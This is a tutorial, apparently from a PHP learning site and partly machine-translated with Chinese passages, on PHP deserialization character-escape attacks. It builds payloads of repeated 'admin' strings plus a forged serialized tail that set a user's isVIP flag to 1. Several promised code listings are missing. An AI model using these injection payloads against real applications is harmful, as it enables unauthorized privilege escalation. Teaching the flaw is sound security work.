When developers serialize the object first, and then serialize the object in the object Characters are filtered and finally deserialized. At this time, there may be a vulnerability in PHP deserialization character escape.
For PHP deserialization character escape, we will discuss it in the following two situations.
There are more characters after filtering
There are fewer characters after filtering
There will be more characters after filtering
Suppose we first define a user
class, and then there are a total of 3 member variables in it: username
, password
, isVIP
.
class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } }
You can see that when this class is initialized, the isVIP
variable defaults to 0
and is not affected by the parameters passed in during initialization.
Next, post the complete code to facilitate our analysis.
The output of this program is as follows:
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
As you can see, the isVIP
variable after object serialization is 0
.
At this time we add a function to replace the admin character, replace admin with hacker, the replacement function is as follows:
function filter($s){ return str_replace("admin","hacker",$s); }
So the entire program is as follows:
The output of this program is:
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
At this time, we take out the output of the two programs and compare it:
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //未过滤 O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //已过滤
You can see that the filtered string The hacker
in does not correspond to the previous character length
s:5:"admin"; s:5:"hacker";
At this time, for us, when creating a new object, the incoming admin
is ours Controllable variable
Next, we clarify our goal: change the value of the isVIP
variable to 1
First we change our Compare the existing substring and the target substring :
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有子串 ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串
In other words, we need to inject our controllable variable admin
The target substring .
First calculate the length of the target substring we need to inject:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //以上字符串的长度为47
Because the length of the string we need to escape is 47
, andadmin
will become hacker
after each filtering, which means that every time admin
appears, there will be 1
characters more.
So we repeat 47admin at the controllable variable, and then add our escaped target substring. The controllable variable is modified as follows:
adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
The complete code is as follows:
The program output is:
O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
We can count the number of hacker, the total is 47hacker, a total of 282 characters, exactly corresponding to the previous 282.
The injected substring behind also just completes the escape.
After deserialization, the redundant substrings will be discarded
We then deserialize the serialization result and then output it. The complete code is as follows:
The program output is as follows:
object(user)#2 (3) { ["username"]=> string(282) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker" ["password"]=> string(6) "123456" ["isVIP"]=> int(1) }
You can see that at this time, the variable isVIP
becomes 1
, and the deserialization character escapes The purpose is achieved.
Fewer characters after filtering
The above describes the situation where there are more characters in PHP deserialization character escape.
The following begins to explain the situation where deserialization character escapes are reduced.
First of all, the main body code is still the same as above, still the same class. The difference is that in the filter function, we change hacker to hack.
The complete code is as follows:
Get the result:
O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
Also compare existing substring and target substring :
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有子串 ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串
Because during filtering, 5 characters were deleted to 4, so contrary to the above situation where more characters become more, with the addition of # As the number of ##admin increases, the existing substring will be indented.
Calculate the length of thetarget substring :
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串 //长度为47
next controllable variable :
";s:8:"password";s:6:" //长度为22
1 characters will be missing each time filtering, we first repeat the admin characters 22 times (the 22 times here are not like The escape situation with more characters is accurate and may need to be adjusted later)
The complete code is as follows: (There are a total of22 admin in the variables here)
Note: The mechanism of PHP deserialization is that, for example, if it is specified that there are 10 characters, but only 9 are read, double quotes are reached. At this time, PHP will Treat double quotes as the 10th character, that is to say, do not judge whether a string has ended based on double quotes, but read the string based on the previously specified number.
O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
这里我们需要仔细看一下s后面是105,也就是说我们需要读取到105个字符。从第一个引号开始,105个字符如下:
hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:
也就是说123456这个地方成为了我们的可控变量,在123456可控变量的位置中添加我们的目标子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串
完整代码为:
输出:
O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
仔细观察这一串字符串可以看到紫色方框内一共107个字符,但是前面只有显示105
造成这种现象的原因是:替换之前我们目标子串的位置是123456,一共6个字符,替换之后我们的目标子串显然超过10个字符,所以会造成计算得到的payload不准确
解决办法是:多添加2个admin,这样就可以补上缺少的字符。
修改后代码如下:
输出结果为:
O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
分析一下输出结果:
可以看到,这一下就对了。
我们将对象反序列化然后输出,代码如下:
得到结果:
object(user)#2 (3) { ["username"]=> string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"" ["password"]=> string(6) "123456" ["isVIP"]=> int(1) }
可以看到,这个时候isVIP
的值也为1
,也就达到了我们反序列化字符逃逸的目的了
推荐学习:《PHP视频教程》
The above is the detailed content of In-depth understanding of the principles of deserialization character escape in PHP. For more information, please follow other related articles on the PHP Chinese website!